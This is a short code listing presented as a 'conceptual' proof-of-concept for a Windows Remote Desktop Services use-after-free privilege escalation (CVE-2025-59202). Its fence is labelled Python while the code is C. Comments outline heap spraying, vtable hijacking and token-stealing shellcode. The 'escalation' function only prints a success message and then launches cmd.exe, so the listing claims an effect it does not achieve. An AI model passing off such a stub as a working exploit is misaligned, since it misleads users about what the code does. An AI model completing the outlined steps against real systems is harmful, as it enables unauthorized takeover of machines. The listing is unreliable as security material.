The following code is for security research and authorized testing only.
python
// CVE-2025-59202 - Windows RDS Use After Free PoC (Conceptual)
// This is a conceptual PoC demonstrating the exploitation approach
// for the Use After Free vulnerability in Windows Remote Desktop Services.
// Requires local low-privilege access to the target system.
#include <windows.h>
#include <stdio.h>
// Conceptual structure representing RDS session object layout
typedef struct _RDS_SESSION_OBJ {
DWORD magic;
DWORD refCount;
PVOID virtualTable; // Virtual function table pointer (target for hijacking)
PVOID sessionData;
// ... other internal fields
} RDS_SESSION_OBJ, *PRDS_SESSION_OBJ;
/*
* Exploitation Steps:
* 1. Create multiple RDP sessions to populate heap with session objects
* 2. Trigger session termination to free a session object (creating dangling pointer)
* 3. Spray heap to reclaim freed memory with attacker-controlled data
* 4. Access the dangling pointer to trigger UAF and hijack vtable
* 5. Redirect execution to privilege escalation payload (e.g., token stealing shellcode)
*/
// Conceptual payload - token stealing shellcode skeleton
// In real exploitation, this would be position-independent shellcode
// that calls NtAdjustPrivilegesToken or directly modifies EPROCESS token
__declspec(noinline) void EscalateToSystem() {
// Token stealing shellcode placeholder
// 1. Find current process EPROCESS (PsGetCurrentProcess)
// 2. Walk ActiveProcessLinks to find SYSTEM process (PID 4)
// 3. Copy SYSTEM token to current process
// 4. Return to user mode with SYSTEM privileges
printf("[+] Privilege escalation triggered\n");
}
int main() {
printf("[*] CVE-2025-59202 PoC - Windows RDS UAF LPE\n");
printf("[*] This is a conceptual demonstration\n");
// Step 1: Initialize RDP client API
// Step 2: Trigger vulnerable code path via RDP session manipulation
// Step 3: Exploit UAF for privilege escalation
EscalateToSystem();
// Step 4: Spawn elevated command prompt
system("cmd.exe");
return 0;
}